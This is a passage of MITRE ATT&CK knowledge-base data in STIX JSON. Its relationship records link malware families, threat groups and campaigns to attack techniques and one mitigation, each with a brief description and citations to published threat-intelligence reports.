2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f2918cdd-b62f-413c-beba-dd95f0a75c3f","created":"2022-07-18T15:58:46.325Z","x_mitre_version":"0.1","external_references":[{"source_name":"Korean FSI TA505 2020","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=","description":"Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FlawedAmmyy](https://attack.mitre.org/software/S0381) can execute batch scripts to delete files.(Citation: Korean FSI TA505 2020)","modified":"2022-07-18T15:58:46.325Z","relationship_type":"uses","source_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f292f16f-ab6e-42ef-94f5-d65792fe5df8","created":"2023-03-26T20:08:15.716Z","revoked":false,"external_references":[{"source_name":"Secureworks REvil September 2019","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware"},{"source_name":"Cylance Sodinokibi July 2019","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020.","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html"},{"source_name":"Intel 471 REvil March 2020","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020.","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/"},{"source_name":"McAfee Sodinokibi October 2019","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/"},{"source_name":"Secureworks GandCrab and REvil September 2019","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020.","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:08:15.716Z","description":"[REvil](https://attack.mitre.org/software/S0496) can save encryption parameters and system information in the Registry.(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2938ba0-1768-48a8-a36d-9d1578c6f5b1","created":"2024-03-07T20:28:18.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"},{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T19:05:01.182Z","description":"[BUSHWALK](https://attack.mitre.org/software/S1118) can Base64 decode and RC4 decrypt malicious payloads sent through a web request’s command parameter.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--29a0bb87-1162-4c83-9834-2a98a876051b","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f295f6a5-914a-4699-ae82-0607c6d81a0d","created":"2022-03-25T20:43:09.774Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWiper](https://attack.mitre.org/software/S0697) can overwrite the `C:\\Windows\\System32\\winevt\\Logs` file on a targeted system.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-15T01:48:26.501Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f298e191-bb50-48b2-ba3c-d432af8ec457","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2019-06-24T19:03:52.718Z","description":"[Proton](https://attack.mitre.org/software/S0279) kills security tools like Wireshark that are running.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f29a3a93-e697-4d6f-8087-eec72856bae5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2020-03-20T23:11:10.189Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) encrypts C2 communications with RC4.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2a29786-05d5-4566-bece-14d5c1a212c1","created":"2021-03-11T15:29:16.495Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.149Z","description":"(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2a5153d-95fa-41b3-8d5f-d99d2b0b1aa4","created":"2024-09-16T08:56:56.802Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:56:56.802Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) can identify infected system log information.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2a58ddd-c9d8-4769-a93b-2e876e304105","created":"2022-09-29T18:08:20.787Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T18:08:20.787Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors named a binary file `compareForfor.jpg` to disguise it as a JPG file.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2a696d7-b929-4307-9f2b-df558a7762cb","created":"2024-06-06T18:55:23.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T15:43:25.433Z","description":"[INC Ransomware](https://attack.mitre.org/software/S1139) can use the Microsoft Win32 Restart Manager to kill processes with a specific handle or that are accessing resources it wants to encrypt.(Citation: Cybereason INC Ransomware November 2023)","relationship_type":"uses","source_ref":"malware--f25d4207-25b2-4bb0-a17a-403943c670ad","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f2aa88d9-852b-4932-9881-d9c6f5d89779","created":"2021-12-10T14:57:31.872Z","x_mitre_version":"1.0","external_references":[{"source_name":"CISA AA20-296A Berserk Bear December 2020","url":"https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions","description":"CISA. (2020, December 1). Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets. Retrieved December 9, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has exploited a Windows Netlogon vulnerability (CVE-2020-1472) to obtain access to Windows Active Directory servers.(Citation: CISA AA20-296A Berserk Bear December 2020)","modified":"2022-04-18T15:35:10.672Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2ab4a93-9b9f-4c14-a879-200c512d406f","created":"2023-02-23T18:00:41.670Z","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"},{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T18:00:41.670Z","description":"(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2ac3f65-68d3-45d2-8aab-b2bd57036fa8","type":"relationship","created":"2020-12-14T21:59:38.674Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-14T21:59:38.674Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to extract credentials from the Registry.(Citation: SentinelLabs Agent Tesla Aug 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2ae5e48-aded-40ba-8991-68b79638d6b0","created":"2023-06-22T20:03:33.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-22T20:34:21.666Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) has encoded outbound C2 communications in DNS requests consisting of character strings made to resemble standard domain names. The actual information transmitted by [Uroburos](https://attack.mitre.org/software/S0022) is contained in the part of the character string prior to the first ‘.’ character.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2b3374e-d2b4-489a-9c8a-92630ce9b428","type":"relationship","created":"2019-03-11T19:24:08.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.595Z","description":"[Empire](https://attack.mitre.org/software/S0363) contains modules that can discover and exploit various DLL hijacking opportunities.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2c596fa-0f20-4435-9ace-798954f5be85","created":"2023-10-03T19:35:39.707Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T19:35:39.707Z","description":"(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2cb5393-d33f-4ee3-a2c0-197c1e032ea5","type":"relationship","created":"2020-11-08T23:23:32.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-08T23:23:32.180Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can decrypt encrypted strings and write them to a newly created folder.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2ce3446-c0ca-499c-bc7f-1930ce148285","type":"relationship","created":"2020-10-02T16:34:32.537Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:34:32.537Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f","target_ref":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2ce9aae-bb45-4018-a5f3-922b9fcdf26a","created":"2023-01-11T21:33:46.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes AvosLocker Jul 2021","description":"Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T16:36:48.479Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has checked the system time before and after encryption.(Citation: Malwarebytes AvosLocker Jul 2021)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2d01f19-b4e7-417a-a936-11af9386b867","created":"2023-04-14T22:43:14.281Z","revoked":false,"external_references":[{"source_name":"Microsoft Common Conditional Access Policies","description":"Microsoft. (2022, December 14). Conditional Access templates. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-policy-common"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T22:43:14.281Z","description":"Use conditional access policies to block logins from non-compliant devices or from outside defined organization IP ranges.(Citation: Microsoft Common Conditional Access Policies)","relationship_type":"mitigates","source_ref":"course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2d0fd0d-7bfc-4f3e-bd78-2d691c476046","created":"2020-05-19T20:39:12.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Gamaredon June 2020","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"},{"source_name":"CERT-EE Gamaredon January 2021","description":"CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022.","url":"https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf"},{"source_name":"TrendMicro Gamaredon April 2020","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/"},{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:39:15.152Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools have registered Run keys in the registry to give malicious VBS files persistence.(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: CERT-EE Gamaredon January 2021)(Citation: unit42_gamaredon_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2d1bf8c-6541-40af-8c84-48c7570fb50b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/","description":"Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ Code Injection Technique Discovered. Retrieved May 24, 2018.","source_name":"CyberBit Early Bird Apr 2018"}],"modified":"2019-05-14T19:15:24.361Z","description":"[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of writing to a Registry Run key to establish.(Citation: CyberBit Early Bird Apr 2018)","relationship_type":"uses","source_ref":"malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2d2ca45-02eb-4afb-a084-82f9823088b8","created":"2024-03-11T19:59:46.772Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T19:59:46.772Z","description":" (Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2d433c3-d134-4985-8dc1-b35d407b330a","type":"relationship","created":"2021-05-25T15:58:53.683Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-05-25T15:58:53.683Z","description":"[CostaBricks](https://attack.mitre.org/software/S0614) has the ability to use bytecode to decrypt embedded payloads.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--5d342981-5194-41e7-b33f-8e91998d7d88","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2d601c9-8cc7-4425-b76f-fbc9997b55fd","type":"relationship","created":"2017-05-31T21:33:27.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-10T15:59:09.334Z","description":"(Citation: Baumgartner Naikon 